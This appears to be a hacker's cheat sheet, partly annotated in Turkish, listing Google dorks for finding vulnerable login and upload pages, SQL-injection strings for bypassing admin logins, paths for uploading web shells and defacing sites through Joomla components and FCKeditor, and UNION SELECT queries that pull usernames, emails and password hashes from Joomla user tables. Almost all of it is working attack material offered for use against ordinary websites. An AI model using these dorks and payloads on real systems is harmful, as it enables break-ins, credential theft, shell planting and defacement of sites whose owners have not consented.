inurl:”/admin/saveannounce_upload.asp”

inurl:”admin/eWebEditor/Upload.asp”

inurl:”UploadFile/upload.asp”

#WEBWİZ ACİGİ (RTE UPLOAD ACIGI ) 

inurl:rte/my_documents/my_files/
inurl:/my_documents/my_files/
#exloit: /rte/RTE_popup_file_atch.asp

#Editör açığı 

inurl:editor/assetmanager/ 
#(arama kodu geliştirilebilir)

#EXPLOİT : /Editor/assetmanager/assetmanager.asp 

#Joomla upload açıgı 

inurl index.php?option=com_expose

#Exploit: administrator/components/com_expose/uploadimg.php
#Uploadin gittigi yer : /components/com_expose/expose/img/

#Sitefinity: Login upload açıgı 

inurl:”Sitefinity: Login”
#exploit: Sitefinity/UserControls/Dialogs/ImageEditorDialog.aspx




#Auto Login For Joomla Dork .:old:.
inurl:/administrator/index.php?autologin=1



#---
#BYPASS ADMIN ACCESS

#Dorks:
#Code:
inurl:admin.asp
inurl:adminlogin.aspx
inurl:admin/index.php
inurl:administrator.php
inurl:administrator.asp
inurl:login.asp
inurl:login.aspx
inurl:login.php
inurl:admin/index.php
inurl:adminlogin.aspx

#Code:
#‘ or 1=1 –
#1'or’1'=’1
#admin’–
#” or 0=0 –
#or 0=0 –
#‘ or 0=0 #
#” or 0=0 #
#or 0=0 #
#‘ or ‘x’='x
#” or “x”=”x
#‘) or (‘x’='x
#‘ or 1=1–
#” or 1=1–
#or 1=1–
#‘ or a=a–
#” or “a”=”a
#‘) or (‘a’='a
#“) or (“a”=”a
#hi” or “a”=”a
#hi” or 1=1 –
#hi’ or 1=1 –
#hi’ or ‘a’='a
#hi’) or (‘a’='a

#----
#Joomla Component com_smartformer shell upload

#Google Dork 
inurl:"index.php?option=com_smartformer"
#& upload shell.php 

#Your shell : 
#http://localhost/components/com_smartformer/files/yourshell.php

#---
#Ministry Web Designing Multiple Vulnerabilities
#exploit bypass to login:
#user: '=' 'or'
#pass: '=' 'or'

#Vunlerable Sections:

inurl:/downloadcounter/admin/login.php
inurl:/mediaprogram/admin/index.php
inurl:/churchprogram/login.php
#----
#(Deface)Exploit (Remote Deface ) Joomla Component
#Dork : 
inurl:index.php?option=com_fabrik
#Exploit : /index.php?option=com_fabrik&c=import&view=import&filetype=csv&table=1
#---
#[Priv8] Joomla Com_content exploit - defacing joomla websites

#Dork : 
inurl:index.php?option=com_content & "/mambots/editors/fckeditor"

#Vulnerable File :
mambots/editors/fckeditor/editor/filemanager/browser/default/browser.html?Type=File&Connector=connectors/php/connector.php

#You can exploit this vulnerable joomla component and deface joomla wesbites and you can also sometimes upload your shell
#----
#exploit joomla "com_artforms" reset password


#Dork : 
inurl:"option com_artforms"

#/index.php?option=com_artforms&task=vferforms&id=1+UNION+SELECT+1,2,3,version(),5,concat_ws(email,0x3a,username,0x3a,password)+from+jos_users--

#/index.php?option=com_user&view=reset

#/index.php?option=com_artforms&task=vferforms&id=1+UNION+SELECT+1,2,3,version(),5,concat_ws(username,0x3a,activation)+from+jos_users